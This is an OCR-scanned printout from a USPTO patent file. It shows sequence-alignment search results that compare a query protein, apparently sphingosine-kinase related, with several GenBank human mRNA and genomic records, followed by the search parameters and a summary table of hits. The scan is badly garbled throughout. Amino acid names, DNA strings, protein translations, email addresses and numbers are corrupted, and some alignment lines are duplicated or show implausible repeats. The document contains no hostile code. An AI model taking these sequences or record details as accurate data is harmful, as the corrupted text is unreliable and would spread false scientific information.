      338  PheAlaValAspGlyGluLeuMetValSerGluAlaValGlnGlyGlnValHisProAsn 357
      1404  TTTCGAGTGGATGGGAATTGATGTTAGCGAGGCGCGAGGCGAGGCTGACCCCAAC 1463
      358  TyrPheTrpMetValSerGlyValGluProProSerTrpLysProGlnGlnMet 377
      1464  TACTTGTGATGTGCGAGCTTGTGCGAGGCCCGCCAGCTGGAAGCCCGACGAGATG 1523
      378  ProProGluGluProLeu 384

```

Db 1524 CCACCGCCGAGAGGCCCTTA 1544

RESULT 9
BC008040 1824 bp mRNA linear PRI 12-JUL-2001
LOCUS Homo sapiens, clone MGC:15041 IMAGE:3831657, mRNA, complete cds.
DEFINITION BC008040
ACCESSION BC008040.1 GI:14165485
VERSION
KEYWORDS MGC.
SOURCE Homo sapiens.
ORGANISM Homo sapiens.
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.

REFERENCE
1 (bases 1 to 1824)
Strausberg, R.
Direct Submission
Submitted (21-MAY-2001) National Institutes of Health, Mammalian
Gene Collection (MGC), Cancer Genomics Office, National Cancer
Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590,
USA

REMARK
NTH-MGC Project URL: <http://mgc.nci.nih.gov>
Contact: MGC help desk
Email: cgapds@email.nih.gov
Tissue Procurement: ATCC/DCMP/DPF
CDNA Library Preparation: Rubin Laboratory
DNA Sequencing by: The I.M.A.G.E. Consortium (LLNL)
http://www.systemsbio.org
contact: amandnsystemsbiology.org
Anup Madan, Rachel Dickhoff, Jessica Fahey, Stephanie Ford, Julia
Greene, Mark Kerteman and Anuradha Madan

Clone distribution: MGC clone distribution information can be found
through the I.M.A.G.E. Consortium/LLNL at: <http://image.llnl.gov>
Series: IRAL Plate: 24 Row: n Column: 4
This clone was selected for full length sequencing because it
passed the following selection criteria: matched mRNA gi: 10433790.
Location/Qualifiers

FEATURES

source
1. 1824
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="MGC:15041 IMAGE:3831657"
/tissue_type="Skin, melanotic melanoma."
/clone_1lb="N1H_MGC_20"
/lab_host="DH10B-R"
/note="Vector: pOTB7"
339. 1493
/codon_start=1
/product="Unknown (protein for MGC:15041)"
/protein_id="AAH08040.1"
/db_xref="gi:14165486"
/translation="MDPRAGRGVLPKRCRYVLINPRGKGAQLDLSHYOPLAE
AEISFTLMTERNNHARELVREELGRMDLVYMGDDLMHEVYNGLMERPDMEATIG
KPLCSLPAGSGNALASLNHYAGVBOVDNEDLLTCTLLICRLRLSPNLLSHTAG
LRLFSYLSLAMEIADVDLESEKRYRLGEMFTLDTFLLALRTYRRLAYLPVGV
GSRTPASPVYVOOGVDANLVRLEEVPSMTVVVDDEDFVLVALSHLSSEKPAAP
GSRTPASPVYVOOGVDANLVRLEEVPSMTVVVDDEDFVLVALSHLSSEKPAAP
KGVPAVDGELMSEAYVOGOVNYFMNVSVCVPRPSMKRPOOMPRPEBTL"

CDS
BASE COUNT 354 a 551 c 592 g 327 t

ORIGIN

Alignment Scores: 3.8e-141 Length: 1824
Pred. No.: 144.00 Matches: 144
Score: 100.00% Conservative: 0
Percent Similarity: 100.00% Mismatches: 0
Best Local Similarity: 37.50% Gaps: 0
Query Match: 9

US-09-784-810a-2 (1-384) x BC008040 (1-1824)

QY 1 MetAspProAlaGlyGlyProAlaArgGlyValLeuProArgProCysArgValLeuValLeu 20
|||||

D	b		339	ATGATACAGGGGGGGCCCCCGGGGGGGTGCTCCCGGGGCCCTCGCGGTCTGGTCTG	398
O	y		21	LeuAaNPoArAgIyLyGsGIyLysAlALeUcInLeUpheaRgSerHISvaIGnPro	40
D	b		399	CTGAACCCTGGCGGGCAGGGCAAGGCCTTTGCAGCTCTCCGAGTCACGTCCAGCCC	458
O	y		41	LeuEnuIAgiuaIagIuIIeserPhetHrleuMetleuThrgIUAatgaRGAsHIALA	60
D	b		459	CTTTTGGCTGGAGCTGAAATCTCCTTCACGCTGATGCTCATCTGAGCGGGCAACAGCG	518
O	y		61	ArgIuLeuVAIaRgserGIuGLnuEUGlyYrGrtpAspaLaLeuValImetSerGIy	80
D	b		519	CGGAGAGCTGGCGGGCTGGAGAGACTGGGCCGCTGGAGACGCTGTGGTATATCTTGG	578
O	y		81	AspGIyleuMetHisgluVaIvalAsncIyLeuMetGIuARproAsPrPGluThraIa	100
D	b		579	GACGGCGTGAATGACAGAGTGSTGAACGGGCTCATGAGCGGCTGACTGGAGAACGGCC	638
O	y		101	IleGIlnlySProLeucySsertLeuProlaglYserGIyaNaIaLeuAIAaISerIeu	120
D	b		639	ATTCAGAAGCCCCCTGTGAGCTCCACAGAGCTGTGGCAACGGCGTGGCAGTCTCTTG	698
O	y		121	ASnhIStryalagIyTYrGIuGLnuIVaIThrAnsCIuAspleuLeuThraScySThrIeu	140
D	b		699	AACCATTAATGCTGGCTATGAGCAGTCAACCAATAAGACCTCTGACCACACTGCACGCTA	758
O	y		141	LeuLeuCysArg 144	
D	b		759	TTGCTGTGCCCC 770	
		RESULT_10			
		BC009419			
		LOCUS	BC009419	1869 bp mRNA linear PRI 12-JUL-2001	
		DEFINITION	Homo sapiens, clone MGC:15040 IMAGE:3506924, mRNA, complete cds.		
		ACCESSION	BC009419		
		VERSION	BC009419.1 GI:14495624		
		KEYWORDS	MGC.		
		SOURCE	Homo sapiens.		
		ORGANISM	Homo sapiens		
			Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;		
			Mammalia; Eutheria; Primates; Catarrhini; Hominidae; Homo.		
			1 (bases 1 to 1869)		
			Strausberg,R		
		REFERENCE	Direct Submission		
		AUTHORS	Submitted (19-JUN-2001) National Institutes of Health, Mammalian		
		TITLE	Gene Collection (MGC), Cancer Genomics Office, National Cancer		
		JOURNAL	Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590,		
			USA		
			NIH-MGC Project URL: http://mgc.nci.nih.gov		
		REMARK	Contact: MGC help desk		
		COMMENT	Email: cgapbs-re@mail.nih.gov		
			Tissue Procurement: DCRD/DTP		
			cDNA Library Preparation: Rubin Laboratory		
			DNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)		
			BC Cancer Agency, Vancouver, BC, Canada		
			info@cgsc.bc.ca		
			Steven Jones*, Jennifer Asano, Ian Bosdet, Yaron Butterfield,		
			Susanna Chan, Readman Chiu, Chris Fjell, Erin Garland, Ran Gulu,		
			Leticia Hsiao, Martin Krywinski, Reta Kutsche, Olivier Lee, SO		
			Sen Lee, Victor Ling, Carrie Mathewson, Candice McLeavy, Steven		
			Ness, Pawan Pandoh, Anna-Liisa Prabhii, Parvaneh Saeedi, Jacqueline		
			Schein, Duane Smillius, Michael Smith, Lorraine Spence, Jeff Stott,		
			Michael Thorne, Miranada Tsai, Matsaja van den Bosch, Jill Vardy,		
			George Yang, Scott Zuyerdunyn, Marco Marra.		
			Clone distribution: MGC clone distribution information can be found		
			through the I.M.A.G.E. Consortium/LLNL at: http://image.llnl.gov		
			Series: IRAL Plate: 23 Row: e Column: 1		
			This clone was selected for full length sequencing because it		
			passed the following selection criteria: matched mRNA gi: 10433790.		
			Location/Qualifiers		
			1..1869		
		FEATURES			
		Source			

	/organism="Homo sapiens"
	/db_xref="taxon:9606"
	/clone="MGC:15040 IMAGE:3506924"
	/tissue_type="Kidney, renal cell, adenocarcinoma"
	/clone_id="NH_MGC_14"
	/lab_host="DH10B-R"
	/note="vector: pOTB7"
CDS	381..1577
	/codon_start=1
	/product="Unknown (protein for MGC:15040)"
	/protein_id="AAH09419.1"
	/db_xref="GI:14495625"
	/translation="MDPVVGGCGRGLEGFVSAGPRGVLRPCRVLYLNPGRGKAKA LQLRSDVPDLAEALISFTLMTERNNHRELRSSELGMIDLVLVMSGDGLNHEVV NGMLERDPMETAIQRPLCSLPASGNLAASLNINVAEYEOVTNDLTCTTLCLRL LSPNLLSLHTASGLRFLFSYLAMGEIADVDLESERYRRIGEKRFITGFLLAARL TYSRLAYLVPGVRGSKTPASPSVVOOGPDANILPLEEPVSHMTVVPDEDFVLTA LHSHESEMFAARMGRCAGVMHLFVFRAGVSAMLRLFLAMEKRHNEDCPRLV YVPRVARLERPKDKSGVFANDGELMVSEAVOQOVNPTFMVSCVPERPSMKQQMRP PPEERPL"
BASE COUNT	322 a 570 c 623 g 354 t
ORIGIN	
Alignment Scores:	
Pred. No.:	5.54e-138 Length: 1869
Score:	141.00 Matches: 372
Percent Similarity:	95.38% Conservative: 0
Best Local Similarity:	95.38% Mismatches: 9
Query Match:	36.72% Indels: 18
DB:	Gaps: 0
US-09-784-810A-2 (1-384) x BC009419 (1-1869)	
Oy	4 ALaGlYgLyPrOArGgLYvAlLeuProArGProcysArgValLeuValLeuAsnPro 23
Dd	432 GCGGGGGCCCCCGGGGGGTCTCCCGGGGCCCTGCGGCTGTGTCTCTGAACCG 491
Oy	24 ArgGlYgLySgLYvSAleuGlnLeuDeuhearSerHisValGlnProLeuLeuA 43
Dd	492 CGCGCGGCAAGGCGAACGGCTTCAGCTTCGCGAGTCAAGCGACCCTTTTGACT 551
Oy	44 GluAlagLiuleSerPhetHleumetLeuThrGiuaArgasnnHisAlaArgGlu 63
Dd	552 GAGGTGAAATCCTCCCTACGCTGATGCTACTGAGCGGCGGAACCGCGGGAGCTG 611
Oy	64 ValArgSerGiugLiuleuGlyArgTrpAspAlaleuValImetSerGlyAspGlyLeu 83
Dd	612 GTGGCGTGGAGAGACTGGGCGGTGGGAGACCTGTGTGTATGTCTGGAGAGGGCTG 671
Oy	84 MethIsGluValValasnGlyLeuMetGluArgProAspTrpGluThrAlaIleGlnLys 103
Dd	672 ATGCACGAGGGGTGAACGGGCTCATGCAGCGGCGCTGACTGGAGACCGCATCACAG 731
Oy	104 ProLeuCySerLeuProAlaGlySerGlyAsnAlaLeuAlaIleaserLeuAsnHisTrp 123
Dd	732 CCCCTGTATACCTCCACGAGGCTGTGGCAACGGCGTGGAGACCTCTTAGACCATTA 791
Oy	124 AlaGlyTrYGluGlnValThrAsnGlnuSprLeuThrAsnCysThrLeuLeuCys 143
Dd	792 GCTGGCTATGAGCAGGTACCAATGAAGACCTCTCGAACCACTGCAGCCTATTGTCTGTGC 851
Oy	144 ArgProVal--LeuSerPrometAsnLeuLeuSerLeuHisThrAlaSerGlyLeuArgS 163
Dd	852 CG-CGCGG-C-TGCTGTACACCATGAACCTGCTGTCTGCACACGAGCTTCGGGGCTGCGCC 909
Oy	163 er-PheSerValLeuSerLeuAlaTrpGlyThelIleAlaAspValAspLeuGluSerAsp 182
Dd	910 T-CTTCTTGTGCTTACGCTGCGGTGGGGCTTCAATGCTGATGTGGACCTTGAAGAAGA- 967
Oy	183 -LysTyArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeuAlaI 202
Dd	968 GAAGTATCGCGCTGCGGGGAGATGCGCTTACTCTGGGCACTTCTCGCTGTGGCAGC 1027

REFERENCE
TITLE
AUTHORS
JOURNAL

1 (bases 1 to 1192)

Strausberg R.
Direct Submission
Submitted (01-MAR-2001) National Institutes of Health, Mammalian
Gene Collection (MGC), Cancer Genomics Office, National Cancer
Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590,
USA

REMARK
COMMENT

NIH-MGC Project URL: <http://mgc.nci.nih.gov>
Contact: MGC help desk
Email: cgaps-remail.nih.gov
Tissue Procurement: ATCC/DCID/DRP
cDNA Library Preparation: Rubin Laboratory
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
DNA Sequencing by: Institute for Systems Biology
<http://www.systemsbio.org>
contact: amadan@systemsbiology.org
Anup Madan, Rachel Dickhoff, Jessica Fahney, Stephanie Ford, Julia
Greene, Mark Kettelman and Anuradha Madan

Clone distribution: MGC clone distribution information can be found
through the I.M.A.G.E. Consortium/LNL at: <http://image.lnl.gov>
Series: IRAL Plate: 14 Row: f Column: 13.

FEATURES
SOURCE

Location/Qualifiers
1. 1192
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:3832587"
/tissue_type="Skin, melanotic melanoma."
/clone_id="NIH-MGC-20"
/lab_host="DH10B-R"
/note="vector: pOTB7"
1. 873
/codon_start=1
/product="Similar to sphingosine kinase 1"
/protein_id="AAH04112.1"
/db_xref="GI:13278663"
/translation="GTRETAIQKPLCSIPAGSGNALAASLNHYAGYEQVNTMEDLLTNC
TLICRLRLSPNLSITHTASGLRFLVSLAKGFIADVDSEKRYRLGMRFTLT
FRLALRTYKGRALYLDVGRVSGKTPASPVYVOGDALVLEPDPVSHMTVVD
EDFVLALHSHGSEMFAPMGKAGVNHLYVRAGVSRALRLFTLAMEGRKH
EECEPYLVVVAERLEPKDKGKVFAYDELAVSEAVOGVHNHYMWSGVEPEP
SWKPOQMPPEEPL"

CDS

BASE COUNT 245 a 345 c 357 g 245 t

ORIGIN

Alignment Scores:
Pred. No.: 8,62e-111 Length: 1192
Score: 115.00 Matches: 115
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 29,95% Indels: 0
DB: 9 Gaps: 0

US-09-784-810A-2 (1-384) x BC004112 (1-1192)

QY 270 SerGluMetPheAlaIaIaPROMetGlyArgCysAlaIaIaGlyValMetHisLeuPheTyr 289
|||||
Db 526 AGGAGATGTTCCTGCACCATGGGCGCTGTGCAGCTGGCGTCATGATCTGTTCAC 585
290 ValArgAlaGlyValSerArgAlaMetLeuLeuAglLeuPheLeuAlaMetCylGlySgly 309
Db 586 GTCCGGCGGAGATGTCTGTCGCATGCGTCCGCTCTCTGCGCCATGGAGAGGCG 645
QY 310 ArgHisMetGluTyrGlyCysProTyrLeuValTyrValProValValAlaIaPheArgLeu 329
|||||
Db 646 AGGCATATGGAGATGATGATGCCCTTCTGTTAGCTGTCGCCCTTCGCGCTTG 705
QY 330 GluProLysAspGlyLysGlyValAlaIaIaValAlaIaGlyLeuLeuMetValSerGluAla 349
|||||
Db 706 GAGCCCAAGATGGAGAAAGGTGTGTTCAGTGTGATGGCAATTGATGTAGCGAGGCC 765

QY 350 ValGlnGlyGlnValHisProAsnTyrPheTrpMetValSerGlyCysValGluProPro 369
|||||
Db 766 GTGAGGCGCCAGGTGACACCCAACTACTTCTGATGTGTCAGCGGTTCGCGAGCCCGCC 825

QY 370 ProSerTrpLysProGlnGlnMetProProGluGluProLeu 384
|||||
Db 826 CCCACTGTGAAGCCCGACACAGATGTCACCGCCAGAGAGCCCTTA 870

RESULT 14
AC068145/C
LOCUS
DEFINITION
ACCESSION
VERSION
KEYWORDS
SOURCE
ORGANISM

REFERENCE
AUTHORS
TITLE
JOURNAL
REFERENCE
AUTHORS

Birren,B., Linton,L., Nusbaum,C., Lander,E., Abraham,H., Allen,N.,
Anderson,S., Baldwin,J., Barna,N., Bastien,V., Beda,F.,
Boguslavsky,L., Bouckhalter,B., Brown,A., Burkett,G.,
Campione,A., Castle,A., Choquel,Y., Colangelo,M., Collins,S.,
Collamore,A., Cooke,P., Dearellano,K., Dewar,K., Diaz,J.S.,
Dodge,S., Domiano,M., Doyle,M., Ferreira,P., Fitzhugh,W., Gage,D.,
Galagan,J., Gardyna,S., Glnde,S., Goyette,M., Graham,L.,
Grand-pierre,N., Grant,G., Hagos,B., Heaford,A., Horton,L.,
Howard,J.C., Iliev,I., Johnson,R., Jones,C., Kano,L., Karatas,A.,
Klein,J., LaRoque,K., Lamazares,R., Landers,T., Lehoczy,J.,
Levine,R., Lieu,C., Liu,G., Locke,K., Macdonald,P., Margulis,N.,
McCarthy,M., McEwan,P., McGurk,A., McKernan,K., McPheeters,R.,
Meldrum,J., Meneses,L., Mihova,T., Miranda,C., O'Donnell,P.,
Murphy,T., Naylor,J., Norman,C.H., O'Connor,T., Pierre,N.,
O'Neill,D., Olivari,T.M., Oliver,J., Peterson,K., Pierre,N.,
Pisani,C., Pollara,V., Raymond,C., Riley,R., Rogov,P., Rothman,D.,
Roy,A., Santos,R., Schauer,S., Severy,P., Spencer,B.,
Strange-Thomann,N., Stojanovic,N., Subramanian,A., Talamas,J.,
Testaye,S., Theodore,J., Tirrell,A., Travers,M., Triggillo,J.,
Vassiliev,H., Viel,R., Vo,A., Wilson,B., Wu,X., Wyman,D., Ye,W.J.,
Young,G., Zainoun,J., Zimmer,A. and Zody,M.

Direct Submission
Submitted (29-APR-2000) Whitehead Institute/MIT Center for Genome
Research, 320 Charles Street, Cambridge, MA 02141, USA
On Sep 5, 2000 this sequence version replaced gi:7960325.
All repeats were identified using RepeatMasker:
Smit, A.F.A. & Green, P. (1996-1997)
<http://ftp.genome.washington.edu/RM/RepeatMasker.html>

Center: Whitehead Institute/MIT Center for Genome Research
Genome Center
Center code: WIBR
Web site: <http://www-seq.wi.mit.edu>
Contact: sequence_submissions@genome.wi.mit.edu

Project Information
Center Project name: LI0026
Center Project name: 2531_H_7
Center Clone name: 2531_H_7

Summary Statistics
Sequencing vector: M13; M77815; 99% of reads
Sequencing vector: Plasmid; n/a; 0.1% of reads
0.758725341426404Chemistry: Dye-terminator Big Dye; 100% of
reads

Assembly program: Phrap; version 0.960731
Consensus quality: 152281 bases at least Q40
Consensus quality: 167680 bases at least Q30
Consensus quality: 174098 bases at least Q20
Insert size: 200000; agarose-ftp
Insert size: 178743; sum-of-ctrls
Quality coverage: 2.9 in Q20 bases; agarose-ftp

US-09-784-810a-2 (1-384) x AC068145 (1-183443)

OY 270 SerGlmepheAlaIaIaPromeGlyarGysAlaIaGlyValMethIstleuPheTyr 289
 DB 133783 AGGAGATGTTTCTCTCACCCATGGGCGCTGTGCAGCTGGCGTCATGATCTGTTTAC 133724
 OY 290 ValArgAlaGlyValSerArgAlaMethLeuArgLeuPheLeuAlaMethGlyIuTysGly 309
 DB 133723 GTGCGGGCGGAGATGCTCTGTGCATGCTGCTGCGCTCTTCTTGGCCATGAGAGAGGCG 133664
 OY 310 ArgHsmetGluTyrGluGlyCysProTyrLeuValTyrValProValAlaIaPheArgLeu 329
 DB 133663 AGCATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 133604
 OY 330 GluProIysAspGlyIysGlyValPheAlaValAspGlyIuLeuMethValSerGluAla 349
 DB 133603 GAGCCCAAGATGGGAAAGGTGTGTGTGCAGTGTGATGGGAAATTGATGATGAGAGGCG 133544
 OY 350 ValGlnGlyGlnValIaIaIaProAsnTyrPheTyrMetValSerGlyCysValGluProPro 369
 DB 133543 GTGCAGGGCCAGGTGCAACCAACTCTGATGATGATGATGATGATGATGATGATG 133484
 OY 370 ProSerTyrPyrProGlnGlnMetProProGlnGluProLeu 384
 DB 133483 CCCAGCTGGAAGCCCGACAGATGCCACCGCCAGAGAGCCCTTA 133439

RESULT 15
 AC021196/c 209861 bp DNA linear HTG 07-JUL-2000
 LOCUS Homo sapiens chromosome 17 clone RP11-794C22, WORKING DRAFT
 DEFINITION
 AC021196
 AC021196.3 GI:7631117
 VERSION
 HTG: HTGS_PHASE1, HTGS_DRAFT.
 KEYWORDS
 Homo sapiens.
 ORGANISM
 Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 REFERENCE
 AUTHORS Waterston, R.H.
 TITLE The sequence of Homo sapiens clone
 JOURNAL Unpublished
 REFERENCE 2 (bases 1 to 209861)
 AUTHORS Waterston, R.H.
 TITLE Direct Submission
 JOURNAL Submitted (14-JAN-2000) Genome Sequencing Center, Washington
 University School of Medicine, 4444 Forest Park Parkway, St. Louis,
 MO 63108, USA
 On Apr 21, 2000 this sequence version replaced gi:7577693.

COMMENT

----- Genome Center -----
 Center: Washington University Genome Sequencing Center
 Center code: WUGSC
 Web site: http://genome.wustl.edu/gsc/index.shtml
 ----- Project Information -----
 Center project name: H_NH0794C22
 ----- Summary Statistics -----
 Sequencing vector: plasmid; 9%
 Chemistry: Dye-terminator ET; 91% of reads
 Assembly program: Phrap; version 0.990319
 Consensus quality: 188997 bases at least Q40
 Consensus quality: 195132 bases at least Q30
 Consensus quality: 198570 bases at least Q20
 Insert size: 22500; agarose-fp
 Insert size: 206861; sum-of-coverage
 Quality coverage: 3.50 in Q20 bases; sum-of-coverage
 Quality coverage: 3.75 in Q20 bases; sum-of-coverage
 ----- NOTE: This is a 'working draft' sequence. It currently
 * consists of 31 contigs. The true order of the pieces
 * is not known and their order in this sequence record is

***** arbitrary Gaps between the contigs are represented as
 * runs of 'N', but the exact sizes of the gaps are unknown.
 * This record will be updated with the finished sequence
 * as soon as it is available and the accession number will
 * be preserved.

FEATURES	source	misc_feature
1	Location/Qualifiers	1..209861
2316	2315: contig of 2315 bp in length	1..209861
2416	2415: gap of unknown length	1..209861
4572	4572: contig of 2157 bp in length	1..209861
4672	4672: gap of unknown length	1..209861
7009	7009: contig of 2337 bp in length	1..209861
7109	7109: gap of unknown length	1..209861
9765	9765: contig of 2656 bp in length	1..209861
9766	9766: gap of unknown length	1..209861
9866	9866: contig of 2608 bp in length	1..209861
12474	12473: gap of unknown length	1..209861
12574	12573: contig of 4093 bp in length	1..209861
16667	16666: contig of 4093 bp in length	1..209861
16767	16766: gap of unknown length	1..209861
20014	20013: contig of 3247 bp in length	1..209861
20114	20113: gap of unknown length	1..209861
24009	24008: contig of 3895 bp in length	1..209861
24109	24108: gap of unknown length	1..209861
28050	28049: contig of 3941 bp in length	1..209861
28150	28149: gap of unknown length	1..209861
31941	31940: contig of 3791 bp in length	1..209861
35923	35923: gap of unknown length	1..209861
36024	36023: contig of 4303 bp in length	1..209861
40327	40326: gap of unknown length	1..209861
40427	40426: contig of 4844 bp in length	1..209861
45271	45270: contig of 4844 bp in length	1..209861
45371	45370: gap of unknown length	1..209861
48816	48815: contig of 3445 bp in length	1..209861
48916	48915: gap of unknown length	1..209861
53905	53904: contig of 4989 bp in length	1..209861
54005	54004: gap of unknown length	1..209861
58338	58337: contig of 4333 bp in length	1..209861
58438	58437: gap of unknown length	1..209861
63057	63056: contig of 4620 bp in length	1..209861
63157	63156: gap of unknown length	1..209861
67683	67683: contig of 4526 bp in length	1..209861
74319	74319: gap of unknown length	1..209861
74419	74419: contig of 6536 bp in length	1..209861
83151	83151: gap of unknown length	1..209861
83251	83251: contig of 8732 bp in length	1..209861
83129	83129: gap of unknown length	1..209861
89229	89229: contig of 5878 bp in length	1..209861
89130	89130: gap of unknown length	1..209861
89230	89230: contig of 8991 bp in length	1..209861
98321	98320: gap of unknown length	1..209861
105559	105559: contig of 7239 bp in length	1..209861
105659	105659: gap of unknown length	1..209861
113081	113081: contig of 7422 bp in length	1..209861
113181	113181: gap of unknown length	1..209861
120975	120975: contig of 7794 bp in length	1..209861
121075	121075: gap of unknown length	1..209861
132903	132903: contig of 11828 bp in length	1..209861
133003	133003: gap of unknown length	1..209861
144491	144491: contig of 11488 bp in length	1..209861
144591	144591: gap of unknown length	1..209861
153725	153725: contig of 9135 bp in length	1..209861
153826	153826: gap of unknown length	1..209861
171330	171330: contig of 17504 bp in length	1..209861
171430	171430: gap of unknown length	1..209861
191919	191919: contig of 20489 bp in length	1..209861
192019	192019: gap of unknown length	1..209861
209861	209861: contig of 17842 bp in length.	1..209861

```
misc_feature /note="assembly_name:Contig17"
2416..4572
/note="assembly_name:Contig18"
4673..7009
misc_feature /note="assembly_name:Contig19"
7110..9765
/note="assembly_name:Contig20"
9866..12473
misc_feature /note="assembly_name:Contig21"
12574..16666
/note="assembly_name:Contig22"
16767..20013
misc_feature /note="assembly_name:Contig23"
20114..24008
/note="assembly_name:Contig24"
24109..28049
misc_feature /note="assembly_name:Contig25"
28150..31940
/note="assembly_name:Contig26"
32041..35923
misc_feature /note="assembly_name:Contig27"
36024..40326
/note="assembly_name:Contig28"
40427..45270
/note="assembly_name:Contig29"
45371..48815
misc_feature /note="assembly_name:Contig30"
48916..53904
/note="assembly_name:Contig31"
54005..58337
misc_feature /note="assembly_name:Contig32"
58438..63057
/note="assembly_name:Contig33"
63158..67683
misc_feature /note="assembly_name:Contig34"
67784..74319
/note="assembly_name:Contig35"
74420..83151
misc_feature /note="assembly_name:Contig36"
83252..89129
/note="assembly_name:Contig37"
89230..98220
misc_feature /note="assembly_name:Contig38"
98321..105559
/note="assembly_name:Contig39"
105660..113081
misc_feature /note="assembly_name:Contig40"
113182..120975
/note="assembly_name:Contig41"
121076..132903
misc_feature /note="assembly_name:Contig42"
133004..144491
/note="assembly_name:Contig43"
144592..153726
misc_feature /note="assembly_name:Contig44"
153827..171330
/note="assembly_name:Contig45"
171431..191919
/note="assembly_name:Contig46"
clone_end:r7
vector_side:right"
192020..209861
/note="assembly_name:Contig47"
clone_end:SP6
vector_side:right"
```

```
BASE COUNT 52775 a 51288 c 51341 g 51413 t 3044 others
ORIGIN
```

```
Alignment Scores:
Pred. No.: 5,51e-109 Length: 209861
Score: 115.00 Matches: 115
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
```

```
Query Match: 29.95% Indels: 0
DB: 2 Gaps: 0
US-09-784-810a-2 (1-384) x AC021196 (1-209861)
QY 270 SerGluMetPheAlaAlaPrometGlyArgCysAlaAlaGlyValMetHisLeuPheTyr 289
DB 72164 AGTGAGATGTTGGCTGCACCCATGGCCGCTGTGAGCTGGCGTCATCATCTGTTTAC 72105
QY 290 ValArgAlaGlyValSerArgAlaMetLeuLeuArgLeuPheLeuAlaMetGlyLysGly 309
DB 72104 GTGGGGGGGAGAGTCTCGTGCATGTCTGGCCCTTCCTGGCCATGAGAGAGGC 72045
QY 310 ArgHisMetGluTyrGluCysProTyrLeuValTyrValProValAlaPheArgLeu 329
DB 72044 AGCATATGAGATGAAATGCCCTACTTGATATATGTGCCCGTGCTGCTTCGCTTG 71985
QY 330 GluProLysAspGlyLysGlyValPheAlaValAspGlyGluLeuMetValSerGluAla 349
DB 71984 GAGCCCAAGATGGGAAAGGTGTGTTGCAGTGGATGGGAATTGATGTAGCGAGGCC 71925
QY 350 ValGlnGlyGlnValHisProAsnTyrPheTrpMetValSerGlyCysValGluProPro 369
DB 71924 GTGCAGGGCCAGGTGCACCCAAACTACTTCTGATGTGTACAGCGGTGGAGCCCGC 71865
QY 370 ProSerTrpLysProGlnGlnMetProProProGluGluProLeu 384
DB 71864 CCCAGCTGGAAAGCCCAAGATGCGACCGCCAGAGAGCCCTTA 71820
```

Search completed: July 12, 2003, 20:53:59
Job time : 3507 secs

THIS PAGE BLANK (USPTO)

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed and is derived by analysis of the total score distribution.

SUMMARIES

3403.978 million cell updates/sec

۳۳

Xgapop	10.0	,	Xgapext	0.5
Ygapop	10.0	,	Ygapext	0.5
Fgapop	6.0	,	Fgapext	7.0
Delop	6.0	,	Delext	7.0

Searched: 16154066 seqs, 8097743376 residues

Total number of hits satisfying chosen parameters: 32308132

```
Minimum DB seq length: 0
Maximum DB seq length: 2000000000
```

Post-processing: Minimum Match 0%
Maximum Match 100%

Listing first 45 summaries

Command line parameters:

```

MODEL=1+mem+ p2n.model -dev=fx1h
-O/-cgml2/1/USTPO.spool/0509784810/runcat.11072003.103442.26566/app.query.fasta_1.58
-DB-EST -OEMT-fastap -SUFF1-test -MIMATCH=0.1 -LOOPL=0 -LOOPEXT=0
-UNTS-bits -STAFF=1 -END=1 -MATRIX-biossme62 -TRANS-human40.cdi -LIST=45
-DCCALGIN=200 -THR_SCORE=pct -THR_MAX=100 -THR_MIN=0 -ALIGN=15 -MODE=LOCAL
-OUTFM=ptc -NORR=ext -HEAPSIZE=500 -MINLEN=0 -MAXLEN=2000000000
-USER=US09784810.ecgn.1.1.1906.etruncat.11072003.103442.26566 -NCPU=6 -ICPU=3
-NO_MMAP -LAREJQUERY -TIME SCORES=0 -WAIT -OSBPLOCK=100 -NOJLOG
-DEV TIMEOUT=120 -WARN -NEGSCORES=30 -THREDS=1 -XGAPOP=0.5 -FGAPOP=6
-FGAPEXT=7 -YGAPOP=10 -TGAPEXT=0.5 -DELOP=6 -DELETE=7

```

Database :

```

1: em_estbm:*
2: em_esthm:*
3: em_estln:*
4: em_estnu:*
5: em_estov:*
6: em_estpl:*
7: em_estro:*
8: em_hic:*
9: gb_est1:*
10: gb_est2:*
11: gb_hic:*
12: gb_est3:*
13: gb_est4:*
14: gb_est5:*
15: em_estfun:*
16: em_estfun:*
17: gb_estom:*
18: em_gss_hum:*
19: em_gss_huv:*
20: em_gss_pln:*
21: em_gss_vit:*
22: em_gss_fun:*
23: em_gss_mam:*
24: em_gss_mus:*
25: em_gss_other:*
26: em_gss_pro:*
27: em_gss_rtd:*

```

Result No.	Score	Query Match	Length	DB	ID	Description
1	1962	97.4	2133	11	BC014439	BC014439 Homo sapi
2	1499.5	74.4	1054	14	BM808698	BM808698 AGENCOURT
3	1474	72.2	1137	14	BM810136	BM810136 AGENCOURT
4	1451.5	72.0	2145	11	BC011432	BC011432 Mus muscu
5	1329.5	66.0	892	13	B1860351	B1860351 603387479
6	1238	61.4	1100	14	BM916536	BM916536 AGENCOURT
7	1220	60.5	888	14	BQ647377	BQ647377 AGENCOURT
8	1218.5	60.5	785	12	BG680521	BG680521 602628344
9	1127	55.9	842	13	B1648186	B1648186 603279314
10	1081	53.6	793	13	BG678689	BG678689 602624488
11	1076	53.4	875	13	BM006005	BM006005 603613736
12	983	48.8	659	12	BE891653	BE891653 60134552
13	982.5	48.8	671	10	AV6544791	AV6544791 AGENCOURT
14	982.5	48.8	947	13	B1415545	B1415545 602988310
15	960	47.6	999	14	BQ675531	BQ675531 AGENCOURT
16	951	47.2	606	14	BQ251161	BQ251161 TAE25026D
17	945.5	46.9	940	12	BG026631	BG026631 602293762
